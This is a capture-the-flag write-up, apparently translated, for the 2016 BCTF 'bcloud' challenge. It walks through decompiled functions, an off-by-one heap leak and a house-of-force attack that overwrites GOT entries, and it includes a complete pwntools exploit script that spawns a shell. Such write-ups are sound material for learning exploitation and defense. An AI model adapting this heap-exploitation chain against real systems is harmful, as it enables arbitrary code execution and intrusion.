2016 bctf bcloud download:
https://pan.baidu.com/s/1e-fvhaOJKzBQMxlrweLznw
Extraction code: ded5
Put it into ida and first locate main () - > init () - > set_name ()
unsigned int set_name() { char name; // [esp + 1Ch] [ebp-5Ch] < -- Note here that if name overflows, it will overwrite * p char *p; // [esp+5Ch] [ebp-1Ch] unsigned int v3; // [esp+6Ch] [ebp-Ch] v3 = __readgsdword(0x14u); memset(&name, 0, 0x50u); puts("Input your name:"); getSrt((int)&name, 0x40, 10); //Look at this function carefully. p = (char *)malloc(0x40u); bss_name = (int)p; strcpy(p, &name); hello((int)p); return __readgsdword(0x14u) ^ v3; } int __cdecl getSrt(int a1, int a2, char a3) { char buf; // [esp+1Bh] [ebp-Dh] int i; // [esp+1Ch] [ebp-Ch] for ( i = 0; i < a2; ++i ) //If the length of the string is exactly a2 { if ( read(0, &buf, 1u) <= 0 ) exit(-1); if ( buf == a3 ) break; a1[i] = buf; } a1[a2] = 0; //If the for above does not exit in advance, there is an overflow of 1 byte return i; } int __cdecl hello(int a1) { printf("Hey %s! Welcome to BCTF CLOUD NOTE MANAGE SYSTEM!\n", a1); return puts("Now let's set synchronization options."); }
The size of name on the stack is 0x40. If we type exactly'a'0x40, p will be overwritten to 0.
Then after malloc, P is changed to address, because it is the first malloc, so p-8 is the address of the heap.
Now there is no 0 between name and v3(canary) to end the string
And strcpy, a dangerous function, would not stop copying strings without0 as the end of the string.
In this way, p is copied into the name, and through the hello function, we can leak out the address of the heap.
Alike:
unsigned int set_org_host() { char org; // [esp+1Ch] [ebp-9Ch] char *p_org; // [esp+5Ch] [ebp-5Ch] char host; // [esp+60h] [ebp-58h] char *p_host; // [esp+A4h] [ebp-14h] unsigned int v5; // [esp+ACh] [ebp-Ch] v5 = __readgsdword(0x14u); memset(&org, 0, 0x90u); puts("Org:"); getSrt((int)&org, 64, 10); puts("Host:"); getSrt((int)&host, 64, 10); p_host = (char *)malloc(0x40u); p_org = (char *)malloc(0x40u); bss_org = (int)p_org; bss_host = (int)p_host; strcpy(p_host, (const char *)&host); strcpy(p_org, &org); puts("OKay! Enjoy:)"); return __readgsdword(0x14u) ^ v5; }
In this function, org points to the last chunk of the application.
If we fill up the memory of org, at the last strcpy of this function, * p_org will override the top_chunk-> prev_size bit.
It's not over yet, and the address p_org does not have \x00. If you continue to overwrite, the host will overwrite the top_chunk_size bit.
At this point, we found a vulnerability that could change the top_chunk size.
Then, continue reading the code:
int new() { int result; // eax signed int i; // [esp+18h] [ebp-10h] int v2; // [esp+1Ch] [ebp-Ch] for ( i = 0; i <= 9 && note[i]; ++i ) ; if ( i == 10 ) return puts("Lack of space. Upgrade your account with just $100 :)"); puts("Input the length of the note content:"); v2 = get_num(); note[i] = (int)malloc(v2 + 4); if ( !note[i] ) exit(-1); list_len[i] = v2; puts("Input the content:"); getSrt(note[i], v2, 10); printf("Create success, the id is %d\n", i); result = i; dword_804B0E0[i] = 0; return result; }
We can control the size of the application memory, and we can also write this memory.
Contact the top_chunk we changed above, you can write arbitrary addresses through house of force
The program runtime menu is as follows:
1.New note 2.Show note 3.Edit note 4.Delete note 5.Syn 6.Quit option--->>
There's no way to print out the contents of our memory in the program, because the option of 2 is a joke and the option of 5 is useless.
Because we can write freely, we can print out the contents of memory by changing the free function to printf.
Look at the third option:
int edit() { int v1; // ST1C_4 int v2; // [esp+14h] [ebp-14h] int v3; // [esp+18h] [ebp-10h] puts("Input the id:"); v2 = get_num(); if ( v2 < 0 || v2 > 9 ) return puts("Invalid ID."); v3 = note[v2]; if ( !v3 ) return puts("Note has been deleted."); v1 = list_len[v2]; dword_804B0E0[v2] = 0; puts("Input the new content:"); getSrt(v3, v1, 10); return puts("Edit success."); }
With this function, we can rewrite memory at any location more easily.
The utilization steps are as follows:
1. By name leak heap address
- 2. Increase top_chunk-> size through host and org
- 3. Mobile top_chunk
- Allow the re-application memory to cover the list_len and noet locations in the bss segment
- Let noet point to the get table of functions
- 4. Change free to printf
- 5. Use false free function to print out atoi address
- 6. Use atoi to get system address
7. Change atoi to system
Utilization is as follows:
#!/usr/bin/env python # -*- coding: UTF-8 -*- from pwn import * p = process('./bcloud') elf=ELF('./bcloud') libc = ELF("/lib/i386-linux-gnu/libc-2.23.so") context.terminal = ["tmux","splitw","-h"] context.arch = "i386" #context.log_level='debug' #gdb.attach(p) #1. By name leak heap address p.recvline("Input your name:") p.send('a'*0x3c+'zzzz') #Enough 0x40 and non p.recvuntil('zzzz') heap_addr=u32(p.recv(4))-8 success('1.heap addr = '+hex(heap_addr)) #2. Increase top_chunk-> size through host and org p.recvuntil('Org:\n') p.send('a'*0x40) p.recvline('Host:') p.sendline('\xff\xff\xff\xff')#Not enough 0x40 plus n def add(size,content): p.sendline('1') p.sendline(size) p.sendline(content) p.recvuntil("Create success") p.recvline() # 3. Mobile top_chunk list_len= 0x804B0A0 note=0x804B120 atoi=elf.got['atoi'] free=elf.got['free'] size=heap_addr+3*0x48-list_len+16 #The heap address + the previous three heaps - list_len==> and the re-application is near list_len #ps: Why add 16? #The top_chunk has eight non-data areas and the new chunk has eight non-data areas. add('-'+str(size),'junk') #The current operation is to move top_chunk up #The next chunk - > FD will be the list_len address size=note-list_len+4*10 #This size can be changed to list_len and note payload=p32(4)*3+p32(0)*29#Why p32(4)*3 instead of * 2? Finally, the last address is used, and it's reserved now. payload += p32(atoi) payload += p32(free) payload += p32(atoi) payload += p32(0) * 8 add(str(size),payload) #id=1 #4. Change free to printf printf=elf.plt['printf']#Or put #The program calls the free get table for the first time without the real address of free #The program will jump to the corresponding plt to call the _dl_runtime_resolve function to find #Change the plt address corresponding to free to the printf address p.sendline('3') p.sendline('1') p.send(p32(printf)) p.recvuntil('Edit success.\n') #5. Use false free function to print out atoi address p.sendline('4') p.recvuntil('Input the id:\n') p.sendline('0') atoi_addr=u32(p.recv(4)) success('2.atoi addr = '+hex(atoi_addr)) p.recvuntil('Delete success.\n') #6. Use atoi_addr to get system address system = atoi_addr-libc.symbols['atoi'] system +=libc.symbols['system'] success('3.system addr = '+hex(system)) #7. Change atoi to system p.sendline('3') p.sendline('2') p.send(p32(system)) p.recvuntil('option--->>\n') p.recvuntil('option--->>\n') #8.get shell p.sendline('/bin/sh\x00') p.interactive()